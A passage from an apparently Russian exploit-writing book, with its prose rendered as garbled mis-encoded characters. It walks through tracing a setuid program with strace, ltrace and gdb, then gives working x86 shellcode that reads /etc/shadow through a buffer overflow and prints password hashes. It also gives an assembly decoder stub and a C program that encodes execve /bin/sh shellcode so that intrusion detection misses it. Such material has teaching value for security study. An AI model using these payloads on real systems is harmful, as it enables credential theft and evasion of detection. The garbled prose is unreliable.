 1 [root@gabriel /tmp]# strace -o trace.txt ./readshadow aa

 2 [root@gabriel /tmp]# cat trace.txt

 3 execve("./readshadow", ["./readshadow", "aa"], [/* 23 vars */]) = 0

 4 _sysctl({{CTL_KERN, KERN_OSRELEASE}, 2, "2.2.16-22", 9, NULL, 0}) = 0

 5 brk(0)                                  = 0x80497fc

 6 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,

-1, 0) = 0x40017000

 7 open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or

directory)

 8 open("/etc/ld.so.cache", O_RDONLY)      = 4

 9 fstat64(4, 0xbffff36c)                  = -1 ENOSYS (Function not

implemented)

10 fstat(4, {st_mode=S_IFREG|0644, st_size=15646, ...}) = 0

11 old_mmap(NULL, 15646, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40018000

12 close(4)                                = 0

13 open("/lib/libc.so.6", O_RDONLY)        = 4

Примеры shell�кодов
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14 fstat(4, {st_mode=S_IFREG|0755, st_size=4776568, ...}) = 0

15 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\274"...,

4096) = 4096

16 old_mmap(NULL, 1196776, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =

0x4001c000

17 mprotect(0x40137000, 37608, PROT_NONE)  = 0

18 old_mmap(0x40137000, 24576, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED, 4, 0x11a000) = 0x40137000

19 old_mmap(0x4013d000, 13032, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4013d000

20 close(4)                                = 0

21 munmap(0x40018000, 15646)               = 0

22 getpid()                                = 7080

23 open("/etc/shadow", O_RDONLY)           = 4

24 getuid32()                              = -1 ENOSYS (Function not

implemented)

25 getuid()                                = 0

26 setuid(0)                               = 0

27 getgid()                                = 0

28 setgid(0)                               = 0

29 read(4, "root:$1$wpb5dGdg$Farrr9UreecuYfu"..., 256) = 256

30 _exit(0)                                = ?

31 [root@gabriel /tmp]#

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Äëÿ òðàññèðîâêè ñèñòåìíûõ âûçîâîâ, âûïîëíåííûõ setuid èëè setgid-ïðî-

ãðàììîé, íåîáõîäèìû ïðèâèëåãèè ñóïåðïîëüçîâàòåëÿ root, òàê ÷òî íàì
ïðèøëîñü ðàáîòàòü îò åãî èìåíè. Ýòî âèäíî â òðàññå, êîãäà ïðîãðàììà
óñòàíàâëèâàåò èäåíòèôèêàòîðû ïîëüçîâàòåëÿ è ãðóïïû òîãî, êòî åå âûç-
âàë. Îáû÷íî â ðåçóëüòàòå ïðèâèëåãèè ïîíèæàþòñÿ, íî â äàííîì ñëó÷àå
îíà è òàê çàïóùåíà îò èìåíè root, òàê ÷òî ïîíèæåíèÿ íå ïðîèçîøëî.

� Â ñòðîêå 23 ìû âèäèì ñèñòåìíûé âûçîâ open. Îí óñïåøíî îòêðûâàåò
ôàéë /etc/shadow è âîçâðàùàåò äåñêðèïòîð, ñ ïîìîùüþ êîòîðîãî ýòîò
ôàéë ìîæíî ÷èòàòü. Îòìåòèì, ÷òî, òàê êàê ôàéë áûë îòêðûò ñ ôëàãîì
O_RDONLY, èç íåãî ìîæíî òîëüêî ÷èòàòü äàííûå, íî íå çàïèñûâàòü.
Åñëè áû ôàéë îòêðûâàëñÿ ñ ôëàãîì O_RDWR, òî ñèòóàöèÿ ñòàëà áû åùå
õóæå, òàê êàê ìû ñìîãëè áû èçìåíèòü äàííûå.

� Äåñêðèïòîð 4, âîçâðàùåííûé ôóíêöèåé open, ïåðåäàåòñÿ ôóíêöèè read
â ñòðîêå 29 äëÿ ÷òåíèÿ 256 áàéòîâ èç ôàéëà shadow â áóôåð small (ñì.
ïðèìåð 9.16, ñòðîêà 9). Ôóíêöèÿ read ïîëó÷àåò óêàçàòåëü íà îáëàñòü ïà-
ìÿòè, â êîòîðóþ ñëåäóåò ïîìåñòèòü x ïðî÷èòàííûõ èç ôàéëà áàéòîâ
(x – ýòî òðåòèé àðãóìåíò ôóíêöèè read).

Ìû ñîáèðàåìñÿ íàïèñàòü ýêñïëîéò äëÿ ýòîé ïðîãðàììû, êîòîðûé ïðî÷òåò
áëîê äàííûõ èç ôàéëà â áóôåð small, ïîñëå ÷åãî âûâåäåò ñîäåðæèìîå ýòîãî
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áóôåðà íà stdout ñ ïîìîùüþ ôóíêöèè write. Ñëåäîâàòåëüíî, âîñïîëüçîâàâøèñü
ïåðåïîëíåíèåì áóôåðà, ìû âíåäðèì â ïðîãðàììó ñëåäóþùèå äâå ôóíêöèè:

read(<äåñêðèïòîð, âîçâðàùåííûé open>,<óêàçàòåëü íà small>,<äëèíà small>);
write(<stdout>,<óêàçàòåëü íà small>,<äëèíà small>);

Ïåðâàÿ ïðîáëåìà ñîñòîèò â òîì, ÷òî âî ìíîãèõ ïðîãðàììàõ äåñêðèïòîðû
îòêðûâàåìûõ ôàéëîâ ìåíÿþòñÿ îò çàïóñêà ê çàïóñêó. Â äàííîì ñëó÷àå ìû óâå-
ðåíû, ÷òî open âñåãäà âîçâðàùàåò äåñêðèïòîð 4, òàê êàê ïðîãðàììà íåáîëü-
øàÿ è â íåé íåò ôóíêöèé, êîòîðûå â çàâèñèìîñòè îò âíåøíèõ óñëîâèé ìîãóò
ëèáî îòêðûòü, ëèáî íå îòêðûâàòü ôàéëû ïåðåä ïåðåïîëíåíèåì áóôåðà. Íî,
ê ñîæàëåíèþ, èíîãäà äåñêðèïòîð íóæíîãî ôàéëà çàðàíåå íå èçâåñòåí. Â òà-
êîì ñëó÷àå ìû ìîæåì ïðîâåðèòü âñå äåñêðèïòîðû, ïîêà íå íàòêíåìñÿ íà ïîä-
õîäÿùèé.

Âòîðàÿ ïðîáëåìà – êàê ïîëó÷èòü óêàçàòåëü íà ìàññèâ small? Ñóùåñòâóåò
ìíîãî ìåòîäîâ îïðåäåëåíèÿ àäðåñà ýòîãî áóôåðà. Âû âèäåëè, ÷òî ê íåìó îá-
ðàùàþòñÿ ôóíêöèè strcpy è memset. Òàê âîñïîëüçóåìñÿ óòèëèòîé ltrace (ïðè-
ìåð 9.17), ÷òîáû ïîçíàêîìèòüñÿ ñ äåòàëÿìè èõ ðàáîòû.

Пример 9.17. Пример 9.17. Пример 9.17. Пример 9.17. Пример 9.17. Использование ltrace
 1 [root@gabriel /tmp]# ltrace ./readshadow aa
 2 __libc_start_main(0x08048610,2,0xbffffb54,0x080483e0,0x080486bc,...
 3 __register_frame_info(0x08048700,0x080497f4,0xbffffaf8,0x4004b0f7,

0x4004b0e0) = 0x4013c400
 4 open("/etc/shadow", 0, 010001130340)                = 3
 5 getuid()                                            = 0
 6 setuid(0)                                           = 0
 7 getgid()                                            = 0
 8 setgid(0)                                           = 0
 9 strcpy(0xbffff9b0, "aa")                            = 0xbffff9b0
10 memset(0xbffff9b0, '\000', 254)                     = 0xbffff9b0
11 read(3, "root:$1$wpb5dGdg$Farrr9UreecuYfu"..., 254) = 254
12 __deregister_frame_info(0x08048700, 0, 0xbffffae8, 0x08048676, 3) =

0x080497f4
13 +++ exited (status 9) +++
14 [root@gabriel /tmp]#

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Èç ñòðîê 9 è 10 âèäíî, ÷òî îáðàùåíèå ê áóôåðó small ïðîèñõîäèò ïî àäðå-

ñó 0xbffff9b0. Ýòîò æå àäðåñ ìû è áóäåì èñïîëüçîâàòü â íàøåì shell-êîäå.

Ïîëó÷èòü àäðåñ ìàññèâà small ìîæíî è ñ ïîìîùüþ îòëàä÷èêà GDB , êàê
ïîêàçàíî â ïðèìåðå 9.18.

Пример 9.18. Пример 9.18. Пример 9.18. Пример 9.18. Пример 9.18. Использование gdb
1 [root@gabriel /tmp]# gdb -q ./readshadow

2 (gdb) b strcpy

Примеры shell�кодов
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 3 Breakpoint 1 at 0x80484d0

 4 (gdb) r aa

 5 Starting program: /tmp/./readshadow aa

 6 Breakpoint 1 at 0x4009c8aa: file ../sysdeps/generic/strcpy.c line 34.

 7
 8 Breakpoint 1 at, strcpy(dest=0xbffff9b0 "\001", src=0xbffffc7b "aa")

at ../sysdeps/generic/strcpy.c:34

 9 34   ../sysdeps/generic/strcpy.c: No such file or directory.

10 (gdb)

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ïåðâûì äåëîì ìû óñòàíàâëèâàåì òî÷êó ïðåðûâàíèÿ íà ôóíêöèè strcpy ñ

ïîìîùüþ êîìàíäû GDB b strcpy (ñòðîêà 2). Ýòî çàñòàâèò GDB îñòàíî-
âèòüñÿ ïåðåä íà÷àëîì âûïîëíåíèå strcpy.

� Çàòåì ìû çàïóñêàåì ïðîãðàììó ñ àðãóìåíòîì aa (ñòðîêà 4) è ñïóñòÿ êîðîò-
êîå âðåìÿ GDB ïðèîñòàíàâëèâàåò èñïîëíåíèå, íàòêíóâøèñü íà ôóíêöèþ
strcpy (ñòðîêè 6-10). GDB àâòîìàòè÷åñêè âûâîäèò íåêîòîðóþ èíôîðìà-
öèþ îá ýòîé ôóíêöèè. Â ÷àñòíîñòè, ìû âèäèì, ÷òî «dest=0xbffff9b0». Ýòî
è åñòü àäðåñ áóôåðà small. Êàê è ñëåäîâàëî îæèäàòü, îí ñîâïàäàåò ñ òåì,
÷òî ïîêàçàëà óòèëèòà ltrace.

Òåïåðü, çíàÿ äåñêðèïòîð ôàéëà è àäðåñ áóôåðà small â ïàìÿòè, ìû â ñîñòîÿ-
íèè ïîëíîñòüþ íàïèñàòü òå ñèñòåìíûå âûçîâû, êîòîðûå íóæíû â shell-êîäå:

read(4, 0xbffff9b0, 254);
read(1, 0xbffff9b0, 254)

Â ïðèìåðå 9.19 ïîêàçàíà èõ ðåàëèçàöèÿ íà àññåìáëåðå.

Пример 9.19. Пример 9.19. Пример 9.19. Пример 9.19. Пример 9.19. Реализация на ассемблере
 1 BITS 32

 2
 3 xor ebx,ebx

 4 mul ebx

 5 cdq

 6
 7 mov al,0x3

 8 mov bl,0x4

 9 mov ecx,0xbffff9b0

10 mov dl,254

11 int 0x80

12
13 mov al,0x4

14 mov bl,0x1

15 int 0x80
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ïîñêîëüêó îáîèì ñèñòåìíûì âûçîâàì read è write íóæíî òðè àðãóìåí-

òà, òî ìû ñ ñàìîãî íà÷àëà îáíóëÿåì ðåãèñòðû EBX, EAX è EDX. Î÷è-
ùàòü ðåãèñòð ECX íåò íåîáõîäèìîñòè, òàê êàê ìû âñå ðàâíî çàïèøåì
â íåãî àäðåñ áóôåðà small.

� Äàëåå â ðåãèñòð AL çàíîñèòñÿ íîìåð ñèñòåìíîãî âûçîâà read (ñòðîêà 7),
â ðåãèñòð BL – äåñêðèïòîð èíòåðåñóþùåãî íàñ ôàéëà, â ECX – àäðåñ áó-
ôåðà small, à â DL – ÷èñëî ñ÷èòûâàåìûõ áàéòîâ. Ïîäãîòîâèâ âñå àðãó-
ìåíòû, ìîæåì âûçûâàòü ÿäðî.

� Ïîñëå òîãî êàê âûçîâ read ïðî÷òåò 254 áàéòà èç ôàéëà /etc/shadow, ìû
ìîæåì âîñïîëüçîâàòüñÿ âûçîâîì write, ÷òîáû âûâåñòè èõ íà stdout. Ñíà-
÷àëà çàíåñåì â AL íîìåð ýòîãî ñèñòåìíîãî âûçîâà. Ïîñêîëüêó àðãóìåí-
òû write ïî÷òè òàêèå æå, êàê ó read, íàì íóæíî ëèøü èçìåíèòü ñîäåð-
æèìîå ðåãèñòðà BL. Â ñòðîêå 14 ìû çàíîñèì òóäà 1 – äåñêðèïòîð stdout,
ïîñëå ÷åãî âûçûâàåì ÿäðî.

Âñòàâèâ ýòîò shell-êîä â ýêñïëîéò äëÿ ðàññìàòðèâàåìîé ïðîãðàììû, ìû ïî-
ëó÷èì ñëåäóþùèé ðåçóëüòàò:

[guest@gabriel /tmp]# ./expl.pl

Íîâûé àäðåñ âîçâðàòà: 0xbffff8c0

root:$1$wpb5dGdg$Farrr9UreecuYfun6R0r5/:12202:0:99999:7:::
bin:*:11439:0:99999:7:::
daemon:*:11439:0:99999:7:::
adm:*:11439:0:99999:7:::
lp:*:11439:0:99999:7:::
sync:qW3seJ.errvo:11439:0:99999:7:::
shutdown:*:11439:0:99999:7:::
halt:*:11439:0:99999:7:::
[guest@gabriel /tmp]#

Â ïðèìåðå 9.20 ïðèâåäåíà òðàññèðîâêà ñèñòåìíûõ âûçîâîâ, âûïîëíÿåìûõ
ýòèì shell-êîäîì:

Пример 9.20. Пример 9.20. Пример 9.20. Пример 9.20. Пример 9.20. Трассировка системного вызова
1 7726 open("/etc/shadow", O_RDONLY)                 = 4

2 7726 getuid()                                      = 0

3 7726 setuid(0)                                     = 0

4 7726 getgid()                                      = 0

5 7726 setgid(0)                                     = 0

6 7726 read(0, "\n", 254)                            = 1

7 7726 read(4, "root:$1$wpb5dGdg$Farrr9UreecuYfu"..., 254) = 254

8 7726 write(1, "root:$1$wpb5dGdg$Farrr9UreecuYfu"..., 254) = 254

9 7726 — SIGSEGV (Segmentation fault) —-

Примеры shell�кодов
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Îáà ñèñòåìíûõ âûçîâà, âñòðå÷àþùèõñÿ â shell-êîäå, óñïåøíî âûïîëíè-

ëèñü, êàê âèäíî èç ñòðîê 7 è 8. Óâû, â ñòðîêå 9 ïðîãðàììà àâàðèéíî
çàâåðøèëàñü èç-çà îøèáêè äîñòóïà ê ïàìÿòè. Ïðîèçîøëî ýòî ïîòîìó,
÷òî ìû íå âûøëè èç ïðîãðàììû âñëåä çà ïîñëåäíèì ñèñòåìíûì âûçî-
âîì, ïîýòîìó îíà ïðîäîëæèëà âûïîëíÿòü êîä, íàõîäÿùèéñÿ âíå íàøå-
ãî shell-êîäà.

� Â ýòîì shell-êîäå åñòü è åùå îäíà ïðîáëåìà. ×òî åñëè ôàéë shadow ñî-
äåðæèò âñåãî 100 áàéòîâ? Ôóíêöèÿ read â ýòîì ñëó÷àå îòðàáîòàåò íîð-
ìàëüíî è âåðíåò ÷èñëî ïðî÷èòàííûõ áàéòîâ. Ïîýòîìó åñëè áû ìû ñäå-
ëàëè çíà÷åíèå, âîçâðàùåííîå read, òðåòüèì àðãóìåíòîì âûçîâà write è
äîáàâèëè â êîíöå âûçîâ exit, òî shell-êîä âñåãäà ðàáîòàë áû ïðàâèëüíî
è íå ïðèâîäèë ê ñáðîñó ïàìÿòè. Ñáðîñ, èëè, êàê åãî ÷àñòî íàçûâàþò,
äàìï ïàìÿòè ïðîèñõîäèò â ñëó÷àå àâàðèéíîé îñòàíîâêè ïðîãðàììû
âñëåäñòâèå ïîïûòêè çàïèñè äàííûõ â íåäîñòóïíóþ åé îáëàñòü ïàìÿòè.

Ïðàâèëüíûé âàðèàíò shell-êîäà ïîêàçàí â ïðèìåðå 9.21.

Пример 9.21. Пример 9.21. Пример 9.21. Пример 9.21. Пример 9.21. Исправленный shell*код
 1 BITS 32

 2
 3 xor ebx,ebx

 4 mul ebx

 5 cdq

 6
 7 mov al,0x3

 8
 9 mov bl,0x4

10 mov ecx,0xbffff9b0

11 mov dl,254

12 int 0x80

13
14 mov dl,al

15 mov al,0x4

16 mov bl,0x1

17 int 0x80

18 dec bl

19 mov al,1

20 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 14 ìû êîïèðóåì çíà÷åíèå, âîçâðàùåííîå ñèñòåìíûì âûçîâîì

read, â ðåãèñòð DL, ÷òîáû åãî ìîæíî áûëî èñïîëüçîâàòü â êà÷åñòâå
òðåòüåãî àðãóìåíòà âûçîâà write.
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� Ïîñëå âîçâðàòà èç âûçîâà write ìû âûïîëíÿåì ñèñòåìíûé âûçîâ exit(0)
äëÿ çàâåðøåíèÿ ïðîãðàììû.

Â ïðèìåðå 9.22 ïîêàçàí ðåçóëüòàò òðàññèðîâêè èñïðàâëåííîé âåðñèè.

Пример 9.22. Пример 9.22. Пример 9.22. Пример 9.22. Пример 9.22. RW shell*код
1 7782 open("/etc/shadow", O_RDONLY)                 = 4

2 7782 getuid()                                      = 0

3 7782 setuid(0)                                     = 0

4 7782 getgid()                                      = 0

5 7782 setgid(0)                                     = 0

6 7782 read(0, "\n", 254)                            = 1

7 7782 read(4, "root:$1$wpb5dGdg$Farrr9UreecuYfu"..., 254) = 254

8 7782 write(1, "root:$1$wpb5dGdg$Farrr9UreecuYfu"..., 254) = 254

9 7782 _exit(0)

Âûçîâû read è write âûãëÿäÿò òî÷íî òàê æå, êàê â ïðèìåðå 9.20, íî ìû
çíàåì, ÷òî íà ñàìîì äåëå ÷èñëî 254, ïåðåäàííîå write (ñòðîêà 8), – ýòî çíà÷å-
íèå, âîçâðàùåííîå âûçîâîì read â ñòðîêå 7. Êðîìå òîãî, ïðîãðàììà êîððåêò-
íî çàâåðøàåòñÿ ñ ïîìîùüþ exit, òàê ÷òî äàìïà ïàìÿòè áîëüøå íå ïðîèñõî-
äèò. Ýòî âàæíî, ïîñêîëüêó àâàðèéíîå çàâåðøåíèå ïðîãðàììû ïðîòîêîëèðó-
åòñÿ â æóðíàëàõ, âûäàâàÿ òåì ñàìûì âàøå ïðèñóòñòâèå.

Кодирование shell3кода

Òåõíèêà êîäèðîâàíèÿ shell-êîäîâ áûñòðî íàáèðàåò ïîïóëÿðíîñòü. Ñóòü åå
â òîì, ÷òî ýêñïëîéò êîäèðóåò shell-êîä è â åãî íà÷àëå ïîìåùàåò äåêîäåð. Âî
âðåìÿ âûïîëíåíèÿ äåêîäåð âîññòàíàâëèâàåò èñõîäíûé âèä shell-êîäà è çàïóñ-
êàåò åãî íà âûïîëíåíèå.

Åñëè ýêñïëîéò âñÿêèé ðàç êîäèðóåò shell-êîä ñ ïîìîùüþ íîâîãî çíà÷åíèÿ è
ñîçäàåò äåêîäåð «íà ëåòó», òî ïîëåçíàÿ íàãðóçêà ñòàíîâèòñÿ ïîëèìîðôíîé,
è ìàëî íàéäåòñÿ IDS, ñïîñîáíûõ åå ðàñïîçíàòü. Íåêîòîðûå äîïîëíèòåëüíûå
ìîäóëè ê ñèñòåìàì IDS óìåþò äåêîäèðîâàòü çàêîäèðîâàííûé shell-êîä, íî
îíè ïîòðåáëÿþò ñëèøêîì ìíîãî ïðîöåññîðíîãî âðåìåíè è âñòðå÷àþòñÿ
â ñåòè Èíòåðíåò íå÷àñòî.

Ïðåäïîëîæèì, ÷òî äëÿ êîäèðîâàíèÿ ê êàæäîìó áàéòó shell-êîäà ïðèáàâëÿ-
åòñÿ ñëó÷àéíîå ÷èñëî. Íà C àëãîðèòì êîäèðîâàíèÿ âûãëÿäåë áû òàê:

int number = get_random_number();

for (count = 0; count < strlen(shellcode); count++) {
    shellcode[count] += number;
}

Примеры shell�кодов
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Äåêîäåð, êîòîðûé äîëæåí áûòü íàïèñàí íà àññåìáëåðå, âû÷èòàåò òî æå ñà-
ìîå ÷èñëî èç êàæäîãî áàéòà shell-êîäà, ïîñëå ÷åãî ïåðåõîäèò íà ïåðâûé áàéò
è íà÷èíàåò èñïîëíåíèå. Àëãîðèòì âûãëÿäèò ñëåäóþùèì îáðàçîì:

for (count = 0; count < strlen(shellcode); count++) {
    shellcode[count] -= number;
}

Â ïðèìåðå 9.23 ïîêàçàí äåêîäåð, ðåàëèçîâàííûé íà àññåìáëåðå:

Пример 9.23. Пример 9.23. Пример 9.23. Пример 9.23. Пример 9.23. Реализация декодера
 1 BITS 32
 2
 3 jmp short go
 4 next:

 5
 6 pop esi

 7 xor ecx,ecx
 8 mov cl,0

 9 change:
10 sub byte [esi + ecx -1],0

11 dec cl
12 jnz change

13 jmp short ok
14 go:
15 call next

16 ok:

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Çíà÷åíèå 0 â ñòðîêå 8 äîëæíî áûòü çàìåíåíî ýêñïëîéòîì âî âðåìÿ

âûïîëíåíèÿ íà èñòèííóþ äëèíó shell-êîäà. Âìåñòî çíà÷åíèÿ 0 â ñòðîêå
10 ýêñïëîéò äîëæåí ïîäñòàâèòü òî ÷èñëî, êîòîðûì shell-êîä áûë çàêî-
äèðîâàí. Íèæå ìû îáñóäèì, êàê ýòî äåëàåòñÿ.

� Ìåòêà ok: â ñòðîêå 16 îòíîñèòñÿ ê íà÷àëó çàêîäèðîâàííîãî (è âïîñëåä-
ñòâèè ðàñêîäèðîâàííîãî) shell-êîäà. Ýòî ñâÿçàíî ñ òåì, ÷òî äåêîäåð
ïîìåùàåòñÿ íåïîñðåäñòâåííî ïåðåä shell-êîäîì, òàê ÷òî â ïàìÿòè îíè
âûãëÿäÿò òàê:

[ÄÅÊÎÄÅÐ][ÇÀÊÎÄÈÐÎÂÀÍÍÛÉ SHELL-ÊÎÄ]

� Äëÿ ïîëó÷åíèÿ íà÷àëüíîãî àäðåñà shell-êîäà â ðåãèñòðå ESI äåêîäåð ïðè-
ìåíÿåò òåõíèêó jmp/call. Èìåÿ ýòîò àäðåñ, ìîæíî ïîñëåäîâàòåëüíî ìî-
äèôèöèðîâàòü âñå áàéòû shell-êîäà.

� Ïðîöåäóðà äåêîäèðîâàíèÿ ïðîèñõîäèò â öèêëå, êîòîðûé íà÷èíàåòñÿ
ñ ìåòêè change. Ïåðåä íà÷àëîì öèêëà ìû ïîìåùàåì äëèíó shell-êîäà
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â ðåãèñòð CL (ñòðîêà 8). Ïîñëå êàæäîé èòåðàöèè çíà÷åíèå CL óìåíüøà-
åòñÿ íà åäèíèöó (ñòðîêà 11). Êîãäà CL ñòàíåò ðàâåí 0, êîìàíäà JNZ (ïå-
ðåéòè, åñëè íå íîëü) óæå íå áóäåò âûïîëíÿòüñÿ, öèêë çàâåðøèòñÿ. Âíóò-
ðè öèêëà ìû âû÷èòàåì èçâåñòíîå çíà÷åíèå èç áàéòà, ðàñïîëîæåííîãî
ñî ñìåùåíèåì ECX – 1 îò àäðåñà íà÷àëà shell-êîäà, õðàíÿùåãîñÿ â ðå-
ãèñòðå ESI. Ïîñêîëüêó â íà÷àëüíûé ìîìåíò ECX ñîäåðæàë äëèíó shell-
êîäà è óìåíüøàåòñÿ íà 1 íà êàæäîé èòåðàöèè, òî ìû òàêèì îáðàçîì îá-
ðàáîòàåì âñå áàéòû shell-êîäà.

� Ïîñëå òîãî êàê shell-êîä áóäåò äåêîäèðîâàí, âûïîëíÿåòñÿ êîìàíäà
«jmp short ok». Èìåííî ñ ìåòêè ok: è íà÷èíàåòñÿ äåêîäèðîâàííûé shell-
êîä, òàê ÷òî â ðåçóëüòàòå ýòîé êîìàíäû íà÷íåòñÿ åãî èñïîëíåíèå;

Åñëè îòêîìïèëèðîâàòü äåêîäåð è ïðåîáðàçîâàòü åãî â ñòðîêó 16-ðè÷íûõ
ñèìâîëîâ, òî ïîëó÷èì:

char decoder[] =
"\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75"
"\xf7\xeb\x05\xe8\xeb\xff\xff\xff";

Íàïîìíèì, ÷òî ïåðâûé íóëåâîé áàéò ýêñïëîéò äîëæåí çàìåíèòü äëèíîé
çàêîäèðîâàííîãî shell-êîäà, à âòîðîé – ÷èñëîì, êîòîðûì shell-êîä áûë çàêî-
äèðîâàí.

Ïðîãðàììà, ïðèâåäåííàÿ â ïðèìåðå 9.24, êîäèðóåò shell-êîä, ðåàëèçóþùèé
âûçîâ execve /bin/sh â Linux, êîòîðûé áûë ïðîäåìîíñòðèðîâàí âûøå. Çàòåì îíà
ìîäèôèöèðóåò äåêîäåð, âñòàâëÿÿ â íåãî äëèíó shell-êîäà è èñïîëüçîâàííîå
ñëó÷àéíîå ÷èñëî. Â çàêëþ÷åíèå äåêîäåð ïîìåùàåòñÿ íåïîñðåäñòâåííî ïåðåä
shell-êîäîì, ðåçóëüòàò âûâîäèòñÿ íà stdout è çàêîäèðîâàííûé shell-êîä âûïîë-
íÿåòñÿ.

Пример 9.24. Пример 9.24. Пример 9.24. Пример 9.24. Пример 9.24. Реализация декодера
 1 #include <sys/time.h>

 2 #include <stdlib.h>

 3 #include <unistd.h>

 4
 5 int getnumber(int quo)

 6 {

 7   int seed;

 8   struct timeval tm;

 9   gettimeofday( &tm, NULL );

10   seed = tm.tv_sec + tm.tv_usec;

11   srandom( seed  );

12   return (random() % quo);

13 }

14
15 void execute(char *data)

Примеры shell�кодов
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16 {

17   int *ret;

18   ret = (int *)&ret + 2;

19   (*ret) = (int)data;

20 }

21
22 void print_code(char *data) {

23
24   int i,l = 15;

25   printf("\n\nchar code[] =\n");

26
27   for (i = 0; i < strlen(data); ++i) {

28     if (l >= 15) {

29       if (i)

30         printf("\"\n");

31       printf("\t\"");

32       l = 0;

33     }

34     ++l;

35     printf("\\x%02x", ((unsigned char *)data)[i]);

36   }

37   printf("\";\n\n\n");

38 }

39
40 int main() {

41
42   char shellcode[] =

43     "\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"

44     "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

45
46   char decoder[] =

47     "\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75"

48     "\xf7\xeb\x05\xe8\xeb\xff\xff\xff";

49
50   int count;

51   int number = getnumber(200);

52   int nullbyte = 0;

53   int ldecoder;

54   int lshellcode = strlen(shellcode);

55   char *result;

56
57   printf("Äëÿ êîäèðîâàíèÿ shell-êîäà èñïîëüçóåòñÿ çíà÷åíèå %d\n",

         number);

58
59   decoder[6] += lshellcode;

60   decoder[11] += number;

61
62   ldecoder = strlen(decoder);
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63
64   do {

65     if(nullbyte == 1) {

66       number = getnumber(10);

67       decoder[11] += number;

68       nullbyte = 0;

69     }

70     for(count=0; count < lshellcode; count++) {

71       shellcode[count] += number;

72       if(shellcode[count] == '\0') {

73         nullbyte = 1;

74       }

75     }

76   } while(nullbyte == 1);

77
78   result = malloc(lshellcode + ldecoder);

79   strcpy(result,decoder);

80   strcat(result,shellcode);

81   print_code(result);

82   execute(result);

83 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ìû ðàññìîòðèì òîëüêî ôóíêöèþ main(), ïîñêîëüêó èìåííî òàì è ïðî-

èñõîäèò âñå èíòåðåñíîå. Ñíà÷àëà èíèöèàëèçèðóþòñÿ ïåðåìåííûå.
Â ñòðîêå 51 ïåðåìåííîé number ïðèñâàèâàåòñÿ ñëó÷àéíîå öåëîå çíà÷åíèå,
ìåíüøåå 200. Îíî áóäåò èñïîëüçîâàíî äëÿ êîäèðîâàíèÿ shell-êîäà.

� Â ñòðîêàõ 53 è 54 îáúÿâëÿþòñÿ ïåðåìåííûå äëÿ õðàíåíèÿ ðàçìåðîâ äå-
êîäåðà è shell-êîäà ñîîòâåòñòâåííî. Ïåðåìåííîé lshellcode (äëèíà shell-
êîäà) çíà÷åíèå ïðèñâàèâàåòñÿ íåìåäëåííî, à ïåðåìåííàÿ ldecoder (äëèíà
äåêîäåðà) áóäåò èíèöèàëèçèðîâàíà ïîçæå, êîãäà â ñòðîêå, ïðåäñòàâëÿþ-
ùåé äåêîäåð, íå îñòàíåòñÿ íóëåâûõ áàéòîâ. Äåëî â òîì, ÷òî ôóíêöèÿ
strlen âîçâðàùàåò ÷èñëî áàéòîâ â ñòðîêå äî ïåðâîãî íóëåâîãî áàéòà.
Ïîñêîëüêó â äåêîäåðå ñïåöèàëüíî îñòàâëåíû äâà íóëåâûõ áàéòà, òî
íåëüçÿ âû÷èñëÿòü åãî äëèíó, ïîêà îíè íå áóäóò çàìåíåíû.

� Ìîäèôèêàöèÿ äåêîäåðà ïðîèñõîäèò â ñòðîêàõ 59 è 60. Äëèíó shell-êîäà
ìû çàïèñûâàåì â decoder[6], à èñïîëüçîâàííîå äëÿ êîäèðîâàíèÿ ÷èñëî –
â decoder[11].

� Êîäèðîâàíèå shell-êîäà ïðîèçâîäèòñÿ â äâóõ öèêëàõ â ñòðîêàõ 46–76.
Â ñòðîêàõ 70–75 ìû âûïîëíÿåì ñîáñòâåííî êîäèðîâàíèå, òî åñòü ïðè-
áàâëåíèå ñëó÷àéíîãî ÷èñëà ê êàæäîìó áàéòó. Ïðè ýòîì âíóòðè öèêëà
(ñòðîêà 72) ïðîâåðÿåòñÿ, íå ñòàë ëè â ðåçóëüòàòå ýòîé îïåðàöèè êàêîé-
íèáóäü áàéò ðàâåí íóëþ. Åñëè ýòî òàê, òî ïåðåìåííîé nullbyte ïðèñâàè-
âàåòñÿ çíà÷åíèå 1.

Примеры shell�кодов
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� Ïîñëå òîãî êàê âñÿ ñòðîêà îáðàáîòàíà, ìû íà÷èíàåì âñå ñíà÷àëà, åñëè
â shell-êîäå ïîÿâèëñÿ íóëåâîé áàéò (ñòðîêà 76). Â ýòîì ñëó÷àå ãåíåðèðó-
åòñÿ íîâîå ñëó÷àéíîå ÷èñëî (ñòðîêà 66), îïÿòü ìîäèôèöèðóåòñÿ äåêî-
äåð (ñòðîêà 67), ïðèçíàê nullbyte ñáðàñûâàåòñÿ â 0, è ìû çàíîâî êîäèðó-
åì shell-êîä.

� Êàê òîëüêî êîäèðîâàíèå çàâåðøèòñÿ óñïåøíî, ìû âûäåëÿåì îáëàñòü ïà-
ìÿòè, ðàçìåð êîòîðîé ðàâåí ñóììå äëèí äåêîäåðà è shell-êîäà (ñòðîêà 78).

